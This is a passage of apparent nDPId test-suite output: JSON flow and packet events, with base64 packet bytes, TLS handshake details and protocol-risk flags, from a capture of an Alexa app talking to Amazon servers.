{"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":73,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1077,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":803855,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdSlJAAOcGVXs0XuiGrBAq2AG7soEpho5vflMl9VAYf\/jl4gAAFgMBADCzIi9vBBXuYwKUIiMvYHZXvDconsMjgvxRIJVCQutlwnHiInG5YyCGffU68ceIKNE="} +00415{"flow_id":73,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1078,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":804828,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofztAAEAGx8esECrYNF7ohrKBAbt+UyX1KYaOb1AQAVeqNQAA"} +00415{"flow_id":73,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1079,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":805155,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofzxAAEAGx8asECrYNF7ohrKBAbt+UyX1KYaOpFAQAVeqAAAA"} +00498{"flow_id":73,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1080,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":805659,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjfz1AAEAGx4qsECrYNF7ohrKBAbt+UyX1KYaOpFAYAVdYwwAAFAMBAAEBFgMBADCVFVLdJscWz5sG2Z1O1Tl+euQXtxpS5boBrewAmdfoJNjy9fPa9KEjL7MU4nMJy4E="} +00425{"flow_id":73,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1081,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":862381,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTytAAOcGUNc0XuiGrBAq2AG7soEpho6kflMmMFAQf\/crJQAAAAAAAAAA"} +00446{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1084,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976072,"pkt_ts_usec":483121,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G7NAAEAGvmasECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/\/JvAAAAgQFtAQCCAoA9lqgAAAAAAEDAwg="} +00445{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976072,"pkt_ts_usec":760181,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzdAAEAGfuKsECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9XuAAAAgQFtAQCCAoA9lq8AAAAAAEDAwg="} +00416{"flow_id":75,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1093,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":895313,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoH+1AAEAGJxasECrYNF7ohrKCAbsHHkbLVoSAwVARAVfhQgAA"} +00416{"flow_id":73,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1096,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":896357,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofz5AAEAGx8SsECrYNF7ohrKBAbt+UyYwKYaOpFARAVepxAAA"} +00415{"flow_id":67,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1098,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":897152,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo70xAAEAGV7asECrYNF7ohsHGAFAgR7h4Nw+siVARAWE8NgAA"} +00425{"flow_id":75,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1103,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":955548,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAohYZAAOcGGnw0XuiGrBAq2AG7soJWhIDBBx5GzFARf\/dioQAAAAAAAAAA"} +00423{"flow_id":67,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1104,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":955700,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo13lAAOcGyIg0XuiGrBAq2ABQwcY3D6yJIEe4eVARAH89FwAAAAAAAAAA"} +00425{"flow_id":73,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1105,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":955747,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoSahAAOcGVlo0XuiGrBAq2AG7soEpho6kflMmMVARf\/crIwAAAAAAAAAA"} +00416{"flow_id":75,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1108,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":957279,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoH+5AAEAGJxWsECrYNF7ohrKCAbsHHkbMVoSAwlAQAVfhQQAA"} +00416{"flow_id":67,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1109,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":957509,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo701AAEAGV7WsECrYNF7ohsHGAFAgR7h5Nw+silAQAWE8NQAA"} +00416{"flow_id":73,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1110,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976075,"pkt_ts_usec":957661,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofz9AAEAGx8OsECrYNF7ohrKBAbt+UyYxKYaOpVAQAVepwwAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1113,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1490976076042,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":37113,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":42813,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8BbZAAEAGQTmsECrYNF7ohpD5Abuu0lmyAAAAAKAC\/\/9b\/gAAAgQFtAQCCAoA9lwEAAAAAAEDAwg="} +00428{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":114152,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwMG5AAOcGb4w0XuiGrBAq2AG7kPnjZM+NrtJZs3ASH\/4iEQAAAgQFtAEDAwY="} +00415{"flow_id":76,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1115,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":117098,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoBbdAAEAGQUysECrYNF7ohpD5Abuu0lmz42TPjlAQAVdsggAA"} +00652{"flow_id":76,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1116,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":117411,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"AMDKkaPvePiC0\/vCCABFAADWBbhAAEAGQJ2sECrYNF7ohpD5Abuu0lmz42TPjlAYAVfYNgAAFgMBAKkBAAClAwGdxeV2toJ3ZUdADhSV31FbJ8VJ\/C4Ztf1iHRQqcc2FASCDPveyl8oknA6Yiw9M10d1fqyNuQQHuX5ZwIOnN4q82wAcwAnACsATwBQAMwA5ADIAOMAHwBEALwA1AAUA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00744{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1116,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":76,"flow_packet_id":4,"flow_first_seen":1490976076042,"flow_last_seen":1490976076117,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":37113,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00424{"flow_id":76,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1117,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":167842,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoM75AAOcGbEQ0XuiGrBAq2AG7kPnjZM+OrtJaYVAQf\/rtMAAAAAAAAAAA"} +00537{"flow_id":76,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1118,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":167981,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9M8JAAOcGa+s0XuiGrBAq2AG7kPnjZM+OrtJaYVAYf\/riFQAAFgMBAEoCAABGAwFY3n1Mp0JE4kOdseiNzFiy0qUvQpBLQ8w9ltp9\/\/G+AiCDPveyl8oknA6Yiw9M10d1fqyNuQQHuX5ZwIOnN4q82wAvABQDAQABAQ=="} +00811{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1118,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":76,"flow_packet_id":6,"flow_first_seen":1490976076042,"flow_last_seen":1490976076167,"flow_tot_l4_data_len":407,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":37113,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00491{"flow_id":76,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1119,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":168025,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdM8hAAOcGbAU0XuiGrBAq2AG7kPnjZM\/jrtJaYVAYf\/pG2wAAFgMBADDLFCeLq7myUYguH+aUp+zJCMiGlEiiwkYEaQer603SBV4OGPys8lwNnx2pgKrCbxQ="} +00415{"flow_id":76,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1120,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":169337,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoBblAAEAGQUqsECrYNF7ohpD5Abuu0lph42TP41AQAVdrfwAA"} +00415{"flow_id":76,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1121,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":169645,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoBbpAAEAGQUmsECrYNF7ohpD5Abuu0lph42TQGFAQAVdrSgAA"} +00499{"flow_id":76,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1122,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":170363,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjBbtAAEAGQQ2sECrYNF7ohpD5Abuu0lph42TQGFAYAVdPtwAAFAMBAAEBFgMBADCzF0fNMRJdH2d+ioMsV7SbH0Xt31UB6U+doAcIJWvLGifwPyOC+M3KCffhf9G\/lwA="} +02403{"flow_id":76,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1123,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":172614,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcBbxAAEAGO5OsECrYNF7ohpD5Abuu0lqc42TQGFAQAVddyQAAFwMBACCmutd7s\/a8ckgeUvf85rsXlEaFGlIxO4KJiCA8c9p5xxcDAQWQtH5hXOGnAQnFRemgF5yN4E4gZSYFJHIkFwCRzMS2oo4kvRnTcfXGwpwgDuEMrD\/GcwrlmbqwbvF5z+vbovjSFmB1W8MayDrbwaaSOc4S1Z0\/\/TVTigT7UxOBbxZ61X0kz5J24QVgSxo5iBqJDVLhIu\/bxcBRHle1ReAmYdPprT3W0EfPjrOAmpBb8\/JxlEAmRkF3OVPENPX+9SxcRY6oCrQAf8dqw22H2pqvEg4O0DH89WhMrrvtsrWYIj4Lkd6c\/WrxI7GVuPVyAOieSe4ooDjw8YeGDqYJLZpT1bv\/HGIvxm3VBe\/W5FEccdFpHMcCyycHfLhwDm\/KlBGTivuAO121TV+AmDTEtE0j\/XTBJuhiPLjvhUa3jYkirdBmmP1yjGSy0MCsIKwov77jqMHDUnXehd\/8RNrG6z+h8yqOSwTZrOZ1aT7ySPtT9\/oWvALKps3qBO38WJnGDPy7rxo14eG1ZdgaDkudA15hD0khscPDi5dbp6H7QoQSkpqQFLEX3pAoAYaWE4LJ4wJe9wxnPEgIIzhbRDf7OR4g8GfggRKRyA7aEju5wySG1C\/6paOUJrx4zzuEE9ruL7EZBnmvMuSiCBc7bfP78mXCFZwKpJ0K1tLRj0ADVpeAk1ctbA8x04tav9vhlAfCq2P4PtygRuS+Y+4m\/x8ndQvlE+y62YngTe+NKtlTWQHaQtFman2FfJbRxB0lKn939AyKeSq8XUbUSlufBwNfrx5qDdCIyrS0pw3ZXmDQoTCs1KM4pUQJI9l3BPXfRNZz9dpAPv99QZs0x3WWHSKoCo6fUVkshINZ7D4NMOq4i9M8HRFWCryAlmmqEcnAGB63cyKOJUM6ctiiwRhcl76EBbXTdz7ptwbvopC4q34N6+yQkAhGo+JRvnJ95Wx+p+v+17vWK9U0goVKmAV4qF2\/dAqqV\/pfGVsrOhV1HQpc6RbRqur8JwCTheuQZxO\/NBrS2wVELMnFrD4VA3aco\/1KiwoMi\/U5GTJLSe6E\/pa3xLKsTRkqRx2lRK+9bopXhRVLxbDqSmLaqBSNlyYMY0p1iIfw\/kaUHGyrcsKQGgS5\/IwFDqRfoQw7cWnWZBy2JwDHnrLz6Vw2QPozOhylSO1rjrLd6um9r2VEJroZhu23RBF+IYy+cLUPPjY20LjIWRERqMfCBO8cRETuYR3RVFnBYWtWT9mvH7kVPoKsjOCzmmjO67Js8Y5PJcoQo8cvtC56SeOVuIOB4sJFqQ32JOeSrM1TXrivLJGegAnzjw6kfOJuJX8mWgLlmKBhQNm4O51sS8OOvosjpkWD8PQoyGL23aLLsi9FrB4n+hJzG9CuBta8img\/sJycnDHlj1KyVqCb21+L4UOl6JkVL7walOgTGET28cL864qRI7rSs0GHW87sCcJN\/wrusOvzBroWBcoQcGZ8c2vaWQcxngOAP0oR3mFYd2RMCc1FgMNtgLOiwFW0WpqC2mgX02eYNRvtKGrYSimcwuzvYcH4cUcCw1rY+Llvw5w7FZDieYR9Pn\/w5JMfqRUNx\/V5kTL9dvfeWiVm1MiACVp2wgKfbP9B8Q8PMgvIpULin9YRJxltKuLYiHWmmV1JbVmF+MqNY4XWp3YdYsu8MvN2MQI\/fuuWmi\/yUFV0KGCve60gv22FsIlXETEPD7DT7QwL5C7F+6BRmlOlGZ6utdpNit1eMvbh9kaihqpskRyGjuSd4lvmKlPxbkdDU8AyFcCA0n4C8BsQI61VMQ3stgEvg9\/qqPjJgDK2q2mfZ6w3o\/O\/52GWS5DNap0QwHPTwHKJro4pIsfsUq3x+jky\/fK92z6fCyIBh3su8LfnFSveNlN3t9yfhThaKAassCwFyYVNa9bVhozxwo75JsTlLr7bnSVNQljaEbp9YK8="} +00424{"flow_id":76,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1124,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":172927,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"AMDKkaPvePiC0\/vCCABFAAAuBb1AAEAGQUCsECrYNF7ohpD5Abuu0mBQ42TQGFAYAVckvwAAiVCKkiyr"} +00425{"flow_id":76,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1125,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":232829,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoN3dAAOcGaIs0XuiGrBAq2AG7kPnjZNAYrtJanFAQf\/nsbAAAAAAAAAAA"} +00425{"flow_id":76,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1126,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":264486,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoOdBAAOcGZjI0XuiGrBAq2AG7kPnjZNAYrtJanFAQf\/nsbAAAAAAAAAAA"} +02403{"flow_id":76,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1127,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":270217,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcBb5AAEAGO5GsECrYNF7ohpD5Abuu0lqc42TQGFAQAVddyQAAFwMBACCmutd7s\/a8ckgeUvf85rsXlEaFGlIxO4KJiCA8c9p5xxcDAQWQtH5hXOGnAQnFRemgF5yN4E4gZSYFJHIkFwCRzMS2oo4kvRnTcfXGwpwgDuEMrD\/GcwrlmbqwbvF5z+vbovjSFmB1W8MayDrbwaaSOc4S1Z0\/\/TVTigT7UxOBbxZ61X0kz5J24QVgSxo5iBqJDVLhIu\/bxcBRHle1ReAmYdPprT3W0EfPjrOAmpBb8\/JxlEAmRkF3OVPENPX+9SxcRY6oCrQAf8dqw22H2pqvEg4O0DH89WhMrrvtsrWYIj4Lkd6c\/WrxI7GVuPVyAOieSe4ooDjw8YeGDqYJLZpT1bv\/HGIvxm3VBe\/W5FEccdFpHMcCyycHfLhwDm\/KlBGTivuAO121TV+AmDTEtE0j\/XTBJuhiPLjvhUa3jYkirdBmmP1yjGSy0MCsIKwov77jqMHDUnXehd\/8RNrG6z+h8yqOSwTZrOZ1aT7ySPtT9\/oWvALKps3qBO38WJnGDPy7rxo14eG1ZdgaDkudA15hD0khscPDi5dbp6H7QoQSkpqQFLEX3pAoAYaWE4LJ4wJe9wxnPEgIIzhbRDf7OR4g8GfggRKRyA7aEju5wySG1C\/6paOUJrx4zzuEE9ruL7EZBnmvMuSiCBc7bfP78mXCFZwKpJ0K1tLRj0ADVpeAk1ctbA8x04tav9vhlAfCq2P4PtygRuS+Y+4m\/x8ndQvlE+y62YngTe+NKtlTWQHaQtFman2FfJbRxB0lKn939AyKeSq8XUbUSlufBwNfrx5qDdCIyrS0pw3ZXmDQoTCs1KM4pUQJI9l3BPXfRNZz9dpAPv99QZs0x3WWHSKoCo6fUVkshINZ7D4NMOq4i9M8HRFWCryAlmmqEcnAGB63cyKOJUM6ctiiwRhcl76EBbXTdz7ptwbvopC4q34N6+yQkAhGo+JRvnJ95Wx+p+v+17vWK9U0goVKmAV4qF2\/dAqqV\/pfGVsrOhV1HQpc6RbRqur8JwCTheuQZxO\/NBrS2wVELMnFrD4VA3aco\/1KiwoMi\/U5GTJLSe6E\/pa3xLKsTRkqRx2lRK+9bopXhRVLxbDqSmLaqBSNlyYMY0p1iIfw\/kaUHGyrcsKQGgS5\/IwFDqRfoQw7cWnWZBy2JwDHnrLz6Vw2QPozOhylSO1rjrLd6um9r2VEJroZhu23RBF+IYy+cLUPPjY20LjIWRERqMfCBO8cRETuYR3RVFnBYWtWT9mvH7kVPoKsjOCzmmjO67Js8Y5PJcoQo8cvtC56SeOVuIOB4sJFqQ32JOeSrM1TXrivLJGegAnzjw6kfOJuJX8mWgLlmKBhQNm4O51sS8OOvosjpkWD8PQoyGL23aLLsi9FrB4n+hJzG9CuBta8img\/sJycnDHlj1KyVqCb21+L4UOl6JkVL7walOgTGET28cL864qRI7rSs0GHW87sCcJN\/wrusOvzBroWBcoQcGZ8c2vaWQcxngOAP0oR3mFYd2RMCc1FgMNtgLOiwFW0WpqC2mgX02eYNRvtKGrYSimcwuzvYcH4cUcCw1rY+Llvw5w7FZDieYR9Pn\/w5JMfqRUNx\/V5kTL9dvfeWiVm1MiACVp2wgKfbP9B8Q8PMgvIpULin9YRJxltKuLYiHWmmV1JbVmF+MqNY4XWp3YdYsu8MvN2MQI\/fuuWmi\/yUFV0KGCve60gv22FsIlXETEPD7DT7QwL5C7F+6BRmlOlGZ6utdpNit1eMvbh9kaihqpskRyGjuSd4lvmKlPxbkdDU8AyFcCA0n4C8BsQI61VMQ3stgEvg9\/qqPjJgDK2q2mfZ6w3o\/O\/52GWS5DNap0QwHPTwHKJro4pIsfsUq3x+jky\/fK92z6fCyIBh3su8LfnFSveNlN3t9yfhThaKAassCwFyYVNa9bVhozxwo75JsTlLr7bnSVNQljaEbp9YK8="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1128,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1490976076275,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1128,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976076,"pkt_ts_usec":275395,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Bx5AAEAGP9GsECrYNF7ohsHNAFDXKVsFAAAAAKAC\/\/8C1AAAAgQFtAQCCAoA9lwbAAAAAAEDAwg="} 